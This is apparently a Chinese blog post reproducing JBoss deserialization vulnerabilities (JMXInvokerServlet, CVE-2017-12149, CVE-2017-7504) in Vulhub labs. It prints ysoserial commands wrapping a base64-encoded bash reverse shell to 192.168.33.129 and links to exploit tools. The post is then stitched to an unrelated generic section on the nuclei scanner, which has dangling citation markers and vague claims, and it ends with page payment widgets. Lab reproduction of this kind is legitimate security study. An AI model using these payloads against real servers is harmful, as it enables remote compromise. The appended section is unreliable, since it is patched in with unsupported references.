jboss漏洞复现

JBoss JMXInvokerServlet 反序列化漏洞

https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/
https://paper.seebug.org/312/
https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/

JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。
在这里插入图片描述
访问192.168.33.130:8080/invoker/JMXInvokerServlet只要有文件下载,目标网站即存在JBoss JMXInvokerServlet 反序列化漏洞。
在这里插入图片描述

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

在这里插入图片描述在这里插入图片描述

EXP,比如DeserializeExploit.jar,直接用该工具执行命令、上传文件即可:
(工具不给力呀)
在这里插入图片描述

https://bbs.ichunqiu.com/thread-26613-1-1.html

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg

在这里插入图片描述
所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。

编写反弹shell的命令

使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码:http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
得到编码后命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}

序列化数据生成

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

发送POC

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:
不知道为啥不成功
在这里插入图片描述

成功反弹shell:
并没有
在这里插入图片描述

https://blog.youkuaiyun.com/Jerry____/article/details/103506224
在这里插入图片描述

https://www.cnblogs.com/yuzly/p/11240145.html
这个工具 ↓ 可以 https://github.com/yunxu1/jboss-_CVE-2017-12149
在这里插入图片描述

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

在这里插入图片描述。。。

### 使用 nuclei 工具进行漏洞复现 #### 安装与配置 Nuclei 为了使用 `nuclei` 进行漏洞检测,需先安装该工具。可以通过以下命令完成安装: ```bash go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest ``` 确认环境变量已正确设置以便能够全局调用 `nuclei` 命令。 #### 获取模板库 Nuclei 的强大之处在于其丰富的社区贡献模板集合。这些模板定义了各种类型的漏洞测试方法。要更新本地模板库可运行如下指令: ```bash nuclei -update-templates ``` 这会自动同步最新的官方模板到本地机器上。 #### 执行基本扫描操作 对于特定目标执行快速的安全评估可以采用简单的方式启动扫描过程: ```bash nuclei -u http://example.com/ ``` 上述命令将会针对指定URL发起一系列预设好的安全检查动作并输出结果。 #### 针对具体 CVE 编写自定义 POC 或应用现有模版 当面对像 JBoss 反序列化这样的复杂场景时,则可能需要依赖于更详细的定制化脚本或是找到已经存在的对应CVE编号的核芯规则文件来实施进一步验证工作[^2]。 例如,在处理 **CVE-2017-12149** 时,如果存在相应的 nuclei 模板可以直接利用它来进行自动化探测;如果没有的话则可以根据公开资料自行编写匹配条件和载荷部分。 #### 结合其他工具增强效果 有时仅靠单一手段难以达成理想的效果,这时不妨考虑与其他辅助软件相结合以提高效率。比如前面提到过的 JavaDeserH2HC 就是用来生成恶意 payload 并配合 nuclei 实现远程代码执行漏洞的实际攻击面模拟演练。 另外值得注意的是,在某些情况下还需要额外准备一些必要的组件如 JDK 环境以及相关 jar 文件等才能顺利完成整个流程。 #### 处理通知机制 一旦完成了所有的测试活动之后还可以借助外部服务发送消息提醒相关人员关注发现的问题。例如向 Telegram 发送消息告知任务已完成: ```bash echo "nuclei 漏洞扫描结束" | notify -silent -provider telegram [^1] ``` 以上就是基于 nuclei 开展漏洞重现工作的主要步骤概述。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值